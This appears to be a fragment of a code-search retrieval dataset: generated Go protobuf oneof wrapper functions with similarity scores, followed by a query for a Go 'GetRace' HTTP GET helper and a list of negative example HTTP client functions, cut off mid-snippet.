[]interface{}{\\n\\t\\t(*Replay_Http)(nil),\\n\\t\\t(*Replay_Sqs)(nil),\\n\\t\\t(*Replay_Amqp)(nil),\\n\\t\\t(*Replay_Kafka)(nil),\\n\\t}\\n}\",\n \"func (*ReportConfigInterRAT) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*ReportConfigInterRAT_Periodical)(nil),\\n\\t\\t(*ReportConfigInterRAT_EventTriggered)(nil),\\n\\t\\t(*ReportConfigInterRAT_ReportCGI)(nil),\\n\\t}\\n}\",\n \"func (*Class) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*Class_PerInstance)(nil),\\n\\t\\t(*Class_Lumpsum)(nil),\\n\\t}\\n}\",\n \"func (*OneOfMessage) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*OneOfMessage_BinaryValue)(nil),\\n\\t\\t(*OneOfMessage_StringValue)(nil),\\n\\t\\t(*OneOfMessage_BooleanValue)(nil),\\n\\t\\t(*OneOfMessage_IntValue)(nil),\\n\\t\\t(*OneOfMessage_Int64Value)(nil),\\n\\t\\t(*OneOfMessage_DoubleValue)(nil),\\n\\t\\t(*OneOfMessage_FloatValue)(nil),\\n\\t\\t(*OneOfMessage_MsgValue)(nil),\\n\\t}\\n}\",\n \"func (*ServiceSpec) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*ServiceSpec_Replicated)(nil),\\n\\t\\t(*ServiceSpec_Global)(nil),\\n\\t\\t(*ServiceSpec_ReplicatedJob)(nil),\\n\\t\\t(*ServiceSpec_GlobalJob)(nil),\\n\\t}\\n}\",\n \"func (*ReceiveReply) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*ReceiveReply_Record_)(nil),\\n\\t\\t(*ReceiveReply_LiiklusEventRecord_)(nil),\\n\\t}\\n}\",\n \"func (*Message) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*Message_PexRequest)(nil),\\n\\t\\t(*Message_PexAddrs)(nil),\\n\\t}\\n}\",\n \"func (*ChangeResponse) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*ChangeResponse_Ok)(nil),\\n\\t\\t(*ChangeResponse_Error)(nil),\\n\\t}\\n}\",\n \"func (*Message) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*Message_ExecStarted)(nil),\\n\\t\\t(*Message_ExecCompleted)(nil),\\n\\t\\t(*Message_ExecOutput)(nil),\\n\\t\\t(*Message_LogEntry)(nil),\\n\\t\\t(*Message_Error)(nil),\\n\\t}\\n}\",\n \"func (*HealthCheck_Payload) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*HealthCheck_Payload_Text)(nil),\\n\\t\\t(*HealthCheck_Payload_Binary)(nil),\\n\\t}\\n}\",\n \"func (*HealthCheck_Payload) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*HealthCheck_Payload_Text)(nil),\\n\\t\\t(*HealthCheck_Payload_Binary)(nil),\\n\\t}\\n}\",\n \"func (*HealthCheck_Payload) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*HealthCheck_Payload_Text)(nil),\\n\\t\\t(*HealthCheck_Payload_Binary)(nil),\\n\\t}\\n}\",\n \"func (*HealthCheck_Payload) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*HealthCheck_Payload_Text)(nil),\\n\\t\\t(*HealthCheck_Payload_Binary)(nil),\\n\\t}\\n}\",\n \"func (*RequestCreateGame) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*RequestCreateGame_LocalMap)(nil),\\n\\t\\t(*RequestCreateGame_BattlenetMapName)(nil),\\n\\t}\\n}\",\n \"func (*CellStatusReq) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*CellStatusReq_IsPlayer)(nil),\\n\\t\\t(*CellStatusReq_CellStatus)(nil),\\n\\t}\\n}\",\n \"func (*Message) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*Message_Request)(nil),\\n\\t\\t(*Message_Response)(nil),\\n\\t}\\n}\",\n \"func (*CreateDatasetVersion) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*CreateDatasetVersion_RawDatasetVersionInfo)(nil),\\n\\t\\t(*CreateDatasetVersion_PathDatasetVersionInfo)(nil),\\n\\t\\t(*CreateDatasetVersion_QueryDatasetVersionInfo)(nil),\\n\\t}\\n}\",\n \"func (*InputMessage) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*InputMessage_Init)(nil),\\n\\t\\t(*InputMessage_Data)(nil),\\n\\t}\\n}\",\n \"func (*UplinkTXInfo) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*UplinkTXInfo_LoraModulationInfo)(nil),\\n\\t\\t(*UplinkTXInfo_FskModulationInfo)(nil),\\n\\t\\t(*UplinkTXInfo_LrFhssModulationInfo)(nil),\\n\\t}\\n}\",\n \"func (*APool) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*APool_DisableHealthCheck)(nil),\\n\\t\\t(*APool_HealthCheck)(nil),\\n\\t}\\n}\",\n \"func (*BWP_UplinkCommon) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*BWP_UplinkCommon_ReleaseRach_ConfigCommon)(nil),\\n\\t\\t(*BWP_UplinkCommon_SetupRach_ConfigCommon)(nil),\\n\\t\\t(*BWP_UplinkCommon_ReleasePusch_ConfigCommon)(nil),\\n\\t\\t(*BWP_UplinkCommon_SetupPusch_ConfigCommon)(nil),\\n\\t\\t(*BWP_UplinkCommon_ReleasePucch_ConfigCommon)(nil),\\n\\t\\t(*BWP_UplinkCommon_SetupPucch_ConfigCommon)(nil),\\n\\t}\\n}\",\n \"func (*M) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*M_OneofInt32)(nil),\\n\\t\\t(*M_OneofInt64)(nil),\\n\\t}\\n}\",\n \"func (*LoadParams) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*LoadParams_ClosedLoop)(nil),\\n\\t\\t(*LoadParams_Poisson)(nil),\\n\\t}\\n}\",\n \"func (*TestnetPacketData) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*TestnetPacketData_NoData)(nil),\\n\\t\\t(*TestnetPacketData_FooPacket)(nil),\\n\\t}\\n}\",\n \"func (*M_Submessage) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*M_Submessage_SubmessageOneofInt32)(nil),\\n\\t\\t(*M_Submessage_SubmessageOneofInt64)(nil),\\n\\t}\\n}\",\n \"func (*CodebookSubType_MultiPanel) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*CodebookSubType_MultiPanel_TwoTwoOne_TypeI_MultiPanel_Restriction)(nil),\\n\\t\\t(*CodebookSubType_MultiPanel_TwoFourOne_TypeI_MultiPanel_Restriction)(nil),\\n\\t\\t(*CodebookSubType_MultiPanel_FourTwoOne_TypeI_MultiPanel_Restriction)(nil),\\n\\t\\t(*CodebookSubType_MultiPanel_TwoTwoTwo_TypeI_MultiPanel_Restriction)(nil),\\n\\t\\t(*CodebookSubType_MultiPanel_TwoEightOne_TypeI_MultiPanel_Restriction)(nil),\\n\\t\\t(*CodebookSubType_MultiPanel_FourFourOne_TypeI_MultiPanel_Restriction)(nil),\\n\\t\\t(*CodebookSubType_MultiPanel_TwoFourTwo_TypeI_MultiPanel_Restriction)(nil),\\n\\t\\t(*CodebookSubType_MultiPanel_FourTwoTwo_TypeI_MultiPanel_Restriction)(nil),\\n\\t}\\n}\",\n \"func (*Packet) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*Packet_PacketPing)(nil),\\n\\t\\t(*Packet_PacketPong)(nil),\\n\\t\\t(*Packet_PacketMsg)(nil),\\n\\t}\\n}\",\n \"func (*MetricsData) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*MetricsData_BoolValue)(nil),\\n\\t\\t(*MetricsData_StringValue)(nil),\\n\\t\\t(*MetricsData_Int64Value)(nil),\\n\\t\\t(*MetricsData_DoubleValue)(nil),\\n\\t\\t(*MetricsData_DistributionValue)(nil),\\n\\t}\\n}\",\n \"func (*FieldType) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*FieldType_PrimitiveType_)(nil),\\n\\t\\t(*FieldType_EnumType_)(nil),\\n\\t}\\n}\",\n \"func (*InstructionResponse) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*InstructionResponse_Register)(nil),\\n\\t\\t(*InstructionResponse_ProcessBundle)(nil),\\n\\t\\t(*InstructionResponse_ProcessBundleProgress)(nil),\\n\\t\\t(*InstructionResponse_ProcessBundleSplit)(nil),\\n\\t\\t(*InstructionResponse_FinalizeBundle)(nil),\\n\\t}\\n}\",\n \"func (*OpenStatusUpdate) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*OpenStatusUpdate_ChanPending)(nil),\\n\\t\\t(*OpenStatusUpdate_ChanOpen)(nil),\\n\\t\\t(*OpenStatusUpdate_PsbtFund)(nil),\\n\\t}\\n}\",\n \"func (*OpenStatusUpdate) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*OpenStatusUpdate_ChanPending)(nil),\\n\\t\\t(*OpenStatusUpdate_ChanOpen)(nil),\\n\\t\\t(*OpenStatusUpdate_PsbtFund)(nil),\\n\\t}\\n}\",\n \"func (*OpenStatusUpdate) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*OpenStatusUpdate_ChanPending)(nil),\\n\\t\\t(*OpenStatusUpdate_ChanOpen)(nil),\\n\\t\\t(*OpenStatusUpdate_PsbtFund)(nil),\\n\\t}\\n}\",\n \"func (*Tracing) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*Tracing_Zipkin_)(nil),\\n\\t\\t(*Tracing_Lightstep_)(nil),\\n\\t\\t(*Tracing_Datadog_)(nil),\\n\\t\\t(*Tracing_Stackdriver_)(nil),\\n\\t}\\n}\",\n \"func (*DynamicReplay) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*DynamicReplay_AuthRequest)(nil),\\n\\t\\t(*DynamicReplay_AuthResponse)(nil),\\n\\t\\t(*DynamicReplay_OutboundMessage)(nil),\\n\\t\\t(*DynamicReplay_ReplayMessage)(nil),\\n\\t}\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.88214165","0.88021713","0.8743008","0.8743008","0.8743008","0.8743008","0.8717406","0.8717406","0.8714167","0.8713824","0.8700613","0.8700613","0.87001115","0.86874217","0.86787724","0.8675455","0.8672273","0.86698306","0.8665908","0.86512536","0.8646821","0.86386365","0.86342514","0.86329716","0.863169","0.8628287","0.86180717","0.8614283","0.86121434","0.86077875","0.86043906","0.8599478","0.8591721","0.85891396","0.8585715","0.8585715","0.8585715","0.85808307","0.85788","0.8578621","0.85712314","0.85646266","0.85642725","0.8562125","0.85597765","0.85593873","0.8556165","0.855444","0.85466284","0.85466284","0.85466284","0.8544794","0.8544425","0.85434425","0.8543189","0.8542546","0.8541232","0.85399264","0.85389084","0.85375434","0.8535147","0.8535147","0.8535147","0.8535147","0.8535147","0.8535147","0.85265565","0.85229486","0.85182756","0.85167336","0.8515576","0.8515508","0.85137737","0.85115725","0.85110307","0.85106057","0.85106057","0.85106057","0.85106057","0.8505778","0.8503764","0.85026187","0.8500881","0.8497405","0.84928215","0.84917736","0.84903145","0.84880537","0.84871894","0.84863424","0.8485251","0.8484042","0.8483205","0.8482806","0.84800684","0.8479984","0.847473","0.847473","0.847473","0.8472139","0.847054"],"string":"[\n \"0.88214165\",\n \"0.88021713\",\n \"0.8743008\",\n \"0.8743008\",\n \"0.8743008\",\n \"0.8743008\",\n \"0.8717406\",\n \"0.8717406\",\n \"0.8714167\",\n \"0.8713824\",\n \"0.8700613\",\n \"0.8700613\",\n \"0.87001115\",\n \"0.86874217\",\n \"0.86787724\",\n \"0.8675455\",\n \"0.8672273\",\n \"0.86698306\",\n \"0.8665908\",\n \"0.86512536\",\n \"0.8646821\",\n \"0.86386365\",\n \"0.86342514\",\n \"0.86329716\",\n \"0.863169\",\n \"0.8628287\",\n \"0.86180717\",\n \"0.8614283\",\n \"0.86121434\",\n \"0.86077875\",\n \"0.86043906\",\n \"0.8599478\",\n \"0.8591721\",\n \"0.85891396\",\n \"0.8585715\",\n \"0.8585715\",\n \"0.8585715\",\n \"0.85808307\",\n \"0.85788\",\n \"0.8578621\",\n \"0.85712314\",\n \"0.85646266\",\n \"0.85642725\",\n \"0.8562125\",\n \"0.85597765\",\n \"0.85593873\",\n \"0.8556165\",\n \"0.855444\",\n \"0.85466284\",\n \"0.85466284\",\n \"0.85466284\",\n \"0.8544794\",\n \"0.8544425\",\n \"0.85434425\",\n \"0.8543189\",\n \"0.8542546\",\n \"0.8541232\",\n \"0.85399264\",\n \"0.85389084\",\n \"0.85375434\",\n \"0.8535147\",\n \"0.8535147\",\n \"0.8535147\",\n \"0.8535147\",\n \"0.8535147\",\n \"0.8535147\",\n \"0.85265565\",\n \"0.85229486\",\n \"0.85182756\",\n \"0.85167336\",\n \"0.8515576\",\n \"0.8515508\",\n \"0.85137737\",\n \"0.85115725\",\n \"0.85110307\",\n \"0.85106057\",\n \"0.85106057\",\n \"0.85106057\",\n \"0.85106057\",\n \"0.8505778\",\n \"0.8503764\",\n \"0.85026187\",\n \"0.8500881\",\n \"0.8497405\",\n \"0.84928215\",\n \"0.84917736\",\n \"0.84903145\",\n \"0.84880537\",\n \"0.84871894\",\n \"0.84863424\",\n \"0.8485251\",\n \"0.8484042\",\n \"0.8483205\",\n \"0.8482806\",\n \"0.84800684\",\n \"0.8479984\",\n \"0.847473\",\n \"0.847473\",\n \"0.847473\",\n \"0.8472139\",\n \"0.847054\"\n]"},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":106157,"cells":{"query":{"kind":"string","value":"GetRace Runs a HTTP GET Request at an endpoint and returns the value"},"document":{"kind":"string","value":"func GetRace(raceURL string, raceID int) (htmlResponse string, success bool) {\n\thtmlResponse = \"\"\n\tsuccess = false\n\tvar netTransport = &http.Transport{\n\t\tDial: (&net.Dialer{\n\t\t\tTimeout: 5 * time.Second,\n\t\t}).Dial,\n\t\tTLSHandshakeTimeout: 5 * time.Second,\n\t}\n\tvar netClient = &http.Client{\n\t\tTimeout: time.Second * 10,\n\t\tTransport: netTransport,\n\t}\n\n\turlToGet := raceURL + strconv.Itoa(raceID)\n\n\tresponse, error := netClient.Get(urlToGet)\n\n\tif error != nil {\n\t\tfmt.Println(error)\n\t\treturn\n\t}\n\n\thtmlResponse = handleResponse(response, urlToGet)\n\tsuccess = true\n\n\treturn\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func getRace(w http.ResponseWriter, r *http.Request) {\n core_module.SetHeaders(&w)\n\n params := mux.Vars(r)\n idParam, _ := strconv.ParseUint(params[\"id\"], 10, 16)\n\n race := &DndRace{ID: uint(idParam)}\n err := core_module.Db.Model(race).WherePK().Select()\n\n if err != nil {\n w.WriteHeader(http.StatusBadRequest)\n json.NewEncoder(w).Encode(&core_module.CoreException{\n Message: \"Could not fetch!\",\n })\n log.Println(err)\n return\n }\n json.NewEncoder(w).Encode(race)\n}","func (c *Client) Get(route string, queryValues map[string]string) (*RawResponse, error) {\n return c.doRequest(\"GET\", route, queryValues, nil)\n}","func (c *SLOClient) Get(ctx context.Context, request SLOClientGetRequest) (*SLOResult, error) {\n\terr := NewTimeframeDelay(request.timeframe, SLORequiredDelay, SLOMaximumWait).Wait(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tbody, err := c.client.Get(ctx, request.RequestString())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar result SLOResult\n\terr = json.Unmarshal(body, &result)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// for SLO - its also possible that there is an HTTP 200 but there is an error text in the error property!\n\t// Since Sprint 206 the error property is always there - but - will have the value \"NONE\" in case there is no actual error retrieving the value\n\tif result.Error != \"NONE\" {\n\t\treturn nil, fmt.Errorf(\"Dynatrace API returned an error: %s\", result.Error)\n\t}\n\n\treturn &result, nil\n}","func (c *Client) Get(route string) (io.ReadCloser, error) {\n\t// Prepare HTTP request\n\treq, err := http.NewRequest(\"GET\", c.url+route, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Do the request over the default client\n\treturn c.performRequest(req)\n}","func (c *Client) CurrentRiverRace(tag string) (race RiverRace, err error) {\n\tvar b []byte\n\tpath := \"/clans/%23\" + strings.ToUpper(tag) + \"/currentriverrace\"\n\tif b, err = c.get(path, map[string][]string{}); err == nil {\n\t\terr = json.Unmarshal(b, &race)\n\t}\n\treturn\n}","func (f5 *f5LTM) get(url string, result interface{}) error {\n\treturn f5.restRequest(\"GET\", url, nil, result)\n}","func getRaces(w http.ResponseWriter, r *http.Request) {\n core_module.SetHeaders(&w)\n\n races := []DndRace{}\n err := core_module.Db.Model(&races).Select()\n\n if err != nil {\n w.WriteHeader(http.StatusBadRequest)\n json.NewEncoder(w).Encode(&core_module.CoreException{\n Message: \"Could not fetch!\",\n })\n log.Println(err)\n return\n }\n\n json.NewEncoder(w).Encode(races)\n}","func (c *Client) Get(url string, resType interface{}) error {\n\treturn c.CallAPI(\"GET\", url, nil, resType, true)\n}","func httpGet(url string, details *RunDetails) string {\n\tfmt.Printf(\"INFO: Performing http get from '%s'\\n\", url)\n\ttimeout := 120\n\n\tval := details.Getenv(v1.EnvVarOperatorTimeout)\n\tif val != \"\" {\n\t\tt, err := strconv.Atoi(val)\n\t\tif err == nil {\n\t\t\ttimeout = t\n\t\t} else {\n\t\t\tfmt.Printf(\"ERROR: Invalid value set for %s '%s' using default of 120\\n\", v1.EnvVarOperatorTimeout, val)\n\t\t}\n\t}\n\n\tclient := http.Client{\n\t\tTimeout: time.Duration(timeout) * time.Second,\n\t}\n\n\tresp, err := client.Get(url)\n\tif err != nil {\n\t\tfmt.Printf(\"ERROR: failed to get url %s - %s\\n\", url, err.Error())\n\t\treturn \"\"\n\t}\n\t//noinspection GoUnhandledErrorResult\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != 200 {\n\t\tfmt.Printf(\"ERROR: filed to get 200 response from %s - %s\\n\", url, resp.Status)\n\t\treturn \"\"\n\t}\n\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tfmt.Printf(\"ERROR: filed to read response body from %s - %s\\n\", url, resp.Status)\n\t\treturn \"\"\n\t}\n\n\ts := string(body)\n\tfmt.Printf(\"INFO: Get response from '%s' was '%s'\\n\", url, s)\n\treturn s\n}","func (r a) GetSpecific(engagementRef string) (*http.Response, []byte) {\n return r.client.Get(\"/tasks/v2/tasks/contracts/\" + engagementRef, nil)\n}","func (t *RPCCtx) Get(w http.ResponseWriter, r *http.Request) {\n\tt.Log.Handle(w, r, nil, \"begin\", \"RPCCtx\", \"Get\")\n\n\treqCtx := r.Context()\n\twhatever := reqCtx\n\n\tt.embed.Get(whatever)\n\n\tw.WriteHeader(200)\n\n\tt.Log.Handle(w, r, nil, \"end\", \"RPCCtx\", \"Get\")\n\n}","func Get(webURL string, params map[string]string) (string, error) {\n\tif params != nil || len(params) > 0 {\n\t\tvar paramArr []string\n\t\tfor k, v := range params {\n\t\t\tparamArr = append(paramArr, k+\"=\"+v)\n\t\t}\n\t\twebURL = webURL + \"?\" + strings.Join(paramArr, \"&\")\n\t}\n\trequest, err := http.NewRequest(http.MethodGet, webURL, nil)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\trequest.Header.Set(\"Content-Type\", \"x-www-form-urlencoded\")\n\trequest.Header.Set(\"User-Agent\", userAgent)\n\tresp, err := client.Do(request)\n\tif resp != nil {\n\t\tdefer resp.Body.Close()\n\t}\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(body), err\n}","func runGet(cmd *cobra.Command, args []string) error {\n\tverb := \"GET\"\n\turl := \"/v1/pattern\"\n\n\tif get.ptype != \"\" {\n\t\turl += \"/\" + get.ptype\n\t}\n\n\tresp, err := web.Request(cmd, verb, url, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tcmd.Printf(\"\\n%s\\n\\n\", resp)\n\treturn nil\n}","func Get(rURL string, params map[string]string) (io.ReadCloser, error) {\n\n\t// Prepare GET request\n\treq, err := http.NewRequest(\"GET\", rURL, nil)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Failed to create request: %s\", err)\n\t}\n\n\t// Add request options\n\treq.Header.Add(\"Accept\", \"application/json\")\n\tq := req.URL.Query()\n\n\tfor k, v := range params {\n\t\tq.Add(k, v)\n\t}\n\treq.URL.RawQuery = q.Encode()\n\n\t// Send the request\n\tresp, err := http.DefaultClient.Do(req)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Failed to send request to the server: %s\", err)\n\t}\n\treturn resp.Body, nil\n}","func (session *Session) Get(path string, params Params) (response []byte, err error) {\n\turlStr := session.getUrl(path, params)\n\tlog.Println(urlStr)\n\tresponse, err = session.sendGetRequest(urlStr)\n\treturn\n\n\t//res, err = MakeResult(response)\n\t//return\n\n}","func (c *Client) Get(rawurl string, out interface{}) error {\n\treturn c.Do(rawurl, \"GET\", nil, out)\n}","func (t *TestRuntime) GetData(url string) (io.ReadCloser, error) {\n\treturn t.request(\"GET\", url, nil)\n}","func (client *Client) Get(\n\turl string,\n\tparams url.Values,\n\toptions ...interface{},\n) (io.ReadCloser, int, error) {\n\treply, err := client.request(\"GET\", url, params, nil, options...)\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\treturn reply.Body, reply.StatusCode, nil\n}","func GetResultByPath(path string, proxy string) *Race {\n\n\tvar datetime *time.Time = nil\n\tvar types *RaceType = nil\n\n\tdistance := float64(-1)\n\twinner := float64(-1)\n\tcurrency := \"\"\n\tracecourse := \"\"\n\ttRT := \"\"\n\tgoing := \"\"\n\n\treplacer := strings.NewReplacer(\"(\", \"\", \")\", \"\")\n\n\tdoc := get(path, proxy)\n\n\tif res, err := time.Parse(\"15:04 Monday 02 January 2006Z-0700\", strings.TrimSpace(doc.Find(\"h2.rp-header-text[title='Date and time of race']\").First().Text())+\"Z+0100\"); err == nil {\n\n\t\tt := res.In(time.UTC)\n\n\t\tdatetime = &t\n\t}\n\n\ttitle := strings.TrimSpace(doc.Find(\"h3.rp-header-text[title='Race title']\").First().Text())\n\n\tcategory := strings.ToUpper(strings.TrimSpace(doc.Find(\"span[title='The type of race']\").First().Text()))\n\tsurface := strings.ToUpper(strings.TrimSpace(doc.Find(\"span[title='Surface of the race']\").First().Text()))\n\n\ttRCN := strings.TrimSpace(doc.Find(\"h1[title='Racecourse name']\").First().Text())\n\n\tclass := raceClassFromTitle(title)\n\n\trt := raceTypeFromTitle(title)\n\n\ttypes = &rt\n\n\ttRT = raceTypeToString(rt)\n\n\tif c, w, err := winnerAndCurrency(strings.TrimSpace(doc.Find(\"span[title='Prize money to winner']\").First().Text())); err {\n\n\t\tcurrency = c\n\t\twinner = w\n\n\t}\n\n\tif res, err := distanceToMeters(doc.Find(\"span[title='Distance expressed in miles, furlongs and yards']\").Text()); err == nil {\n\n\t\tdistance = res\n\t}\n\n\tif r := regexp.MustCompile(`[0-9]+:[0-9]+$`).FindStringIndex(tRCN); len(r) > 0 {\n\n\t\tracecourse = nameRacecourse(strings.ToUpper(strings.TrimSpace(tRCN[:r[0]])))\n\t}\n\n\tif g, err := convertGoingToAbbreviation(strings.ToUpper(strings.TrimSpace(doc.Find(\"span[title='Race going']\").First().Text()))); err {\n\t\tgoing = g\n\t}\n\n\trunners := make(map[int64]Runner, 0)\n\n\tdoc.Find(\"table tbody.rp-table-row\").Each(func(i int, s *goquery.Selection) {\n\n\t\tisp := float64(-1)\n\t\tnum := int64(-1)\n\t\tdraw := int64(-1)\n\t\tage := int64(-1)\n\t\trating := int64(-1)\n\t\thorseID := int64(-1)\n\t\tjockeyID := int64(-1)\n\t\ttrainerID := int64(-1)\n\n\t\tpos := strings.ToUpper(strings.TrimSpace(s.Find(\"span.rp-entry-number\").First().Text()))\n\t\thorse := \"\"\n\n\t\tsHORSE := s.Find(\"a.rp-horse\").First()\n\t\ttHORSE := sHORSE.Text()\n\n\t\tsJOCKEY := s.Find(\"a[title='Jockey']\").First()\n\t\tjockey := strings.ToUpper(strings.TrimSpace(sJOCKEY.Text()))\n\n\t\tsTRAINER := s.Find(\"a[title='Trainer']\").First()\n\t\ttrainer := strings.ToUpper(strings.TrimSpace(sTRAINER.Text()))\n\n\t\tif i, err := strconv.ParseInt(strings.TrimSpace(replacer.Replace(s.Find(\"span.rp-draw\").First().Text())), 10, 64); err == nil {\n\t\t\tdraw = i\n\t\t}\n\n\t\tif h, err := sHORSE.Attr(\"href\"); err {\n\n\t\t\tif r := regexp.MustCompile(`\\/[0-9]+$`).FindStringIndex(h); len(r) > 0 {\n\n\t\t\t\tif i, err := strconv.ParseInt(h[r[0]+1:r[1]], 10, 64); err == nil {\n\n\t\t\t\t\thorseID = i\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif r := regexp.MustCompile(`^\\s*[0-9]+`).FindStringIndex(tHORSE); len(r) > 0 {\n\n\t\t\thorse = strings.TrimSpace(tHORSE[r[1]+1:])\n\n\t\t\tif i, err := strconv.ParseInt(tHORSE[r[0]:r[1]], 10, 64); err == nil {\n\n\t\t\t\tnum = i\n\t\t\t}\n\t\t}\n\n\t\tif h, err := sJOCKEY.Attr(\"href\"); err {\n\n\t\t\tif r := regexp.MustCompile(`\\/[0-9]+$`).FindStringIndex(h); len(r) > 0 {\n\n\t\t\t\tif i, err := strconv.ParseInt(h[r[0]+1:r[1]], 10, 64); err == nil {\n\n\t\t\t\t\tjockeyID = i\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif h, err := sTRAINER.Attr(\"href\"); err {\n\n\t\t\tif r := regexp.MustCompile(`\\/[0-9]+$`).FindStringIndex(h); len(r) > 0 {\n\n\t\t\t\tif i, err := strconv.ParseInt(h[r[0]+1:r[1]], 10, 64); err == nil {\n\n\t\t\t\t\ttrainerID = i\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif res, err := strconv.ParseInt(strings.TrimSpace(s.Find(\"td[title='Horse age']\").Text()), 10, 64); err == nil {\n\t\t\tage = res\n\t\t}\n\n\t\tif res, err := strconv.ParseInt(strings.TrimSpace(replacer.Replace(s.Find(\"td.rp-ageequip-hide[title='Official rating given to this horse']\").Text())), 10, 64); err == nil {\n\n\t\t\trating = res\n\t\t}\n\n\t\tif res, err := strconv.ParseFloat(strings.TrimSpace(s.Find(\"td.rp-result-sp span.price-decimal\").First().Text()), 64); err == nil {\n\n\t\t\tisp = res\n\t\t}\n\n\t\twgt := wgtToKg(s.Find(\"tr:nth-child(1) > td:nth-child(13)\").Text())\n\n\t\tif isp > 1 && wgt > 0 && num > 0 && age > 0 && horseID > 0 && jockeyID > 0 && trainerID > 0 && len(pos) > 0 && len(pos) > 0 && len(horse) > 0 && len(jockey) > 0 && len(trainer) > 0 {\n\n\t\t\trunners[num] = Runner{\n\t\t\t\tIsp: isp,\n\t\t\t\tWgt: wgt,\n\t\t\t\tNumber: num,\n\t\t\t\tDraw: draw,\n\t\t\t\tAge: age,\n\t\t\t\tRating: rating,\n\t\t\t\tHorseID: horseID,\n\t\t\t\tJockeyID: jockeyID,\n\t\t\t\tTrainerID: trainerID,\n\t\t\t\tPos: pos,\n\t\t\t\tHorse: horse,\n\t\t\t\tJockey: jockey,\n\t\t\t\tTrainer: trainer,\n\t\t\t}\n\t\t}\n\t})\n\n\tif datetime != nil && types != nil && distance > 0 && len(title) > 0 && len(currency) > 0 && winner > 0 && len(tRT) > 0 && len(category) > 0 && len(racecourse) > 0 && len(going) > 0 && len(runners) > 0 {\n\n\t\trace := Race{\n\t\t\tDatetime: *datetime,\n\t\t\tDistance: distance,\n\t\t\tClass: class,\n\t\t\tTitle: title,\n\t\t\tCurrency: currency,\n\t\t\tWinner: winner,\n\t\t\tRaceType: tRT,\n\t\t\tCategory: category,\n\t\t\tSurface: surface,\n\t\t\tRacecourse: racecourse,\n\t\t\tGoing: going,\n\t\t\tTypes: *types,\n\t\t\tRunners: runners,\n\t\t}\n\n\t\treturn &race\n\t}\n\n\treturn nil\n}","func (c *Client) doGet(rsrc string) ([]byte, error) {\n\tvar (\n\t\tbody []byte\n\t\terr error\n\t\tresp *http.Response\n\t)\n\n\tif resp, err = c.httpC.Get(c.formURL(rsrc)); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn nil, core.Errorf(\"Response status: %q. Response Body: %+v\", resp.Status, resp.Body)\n\t}\n\n\tif body, err = 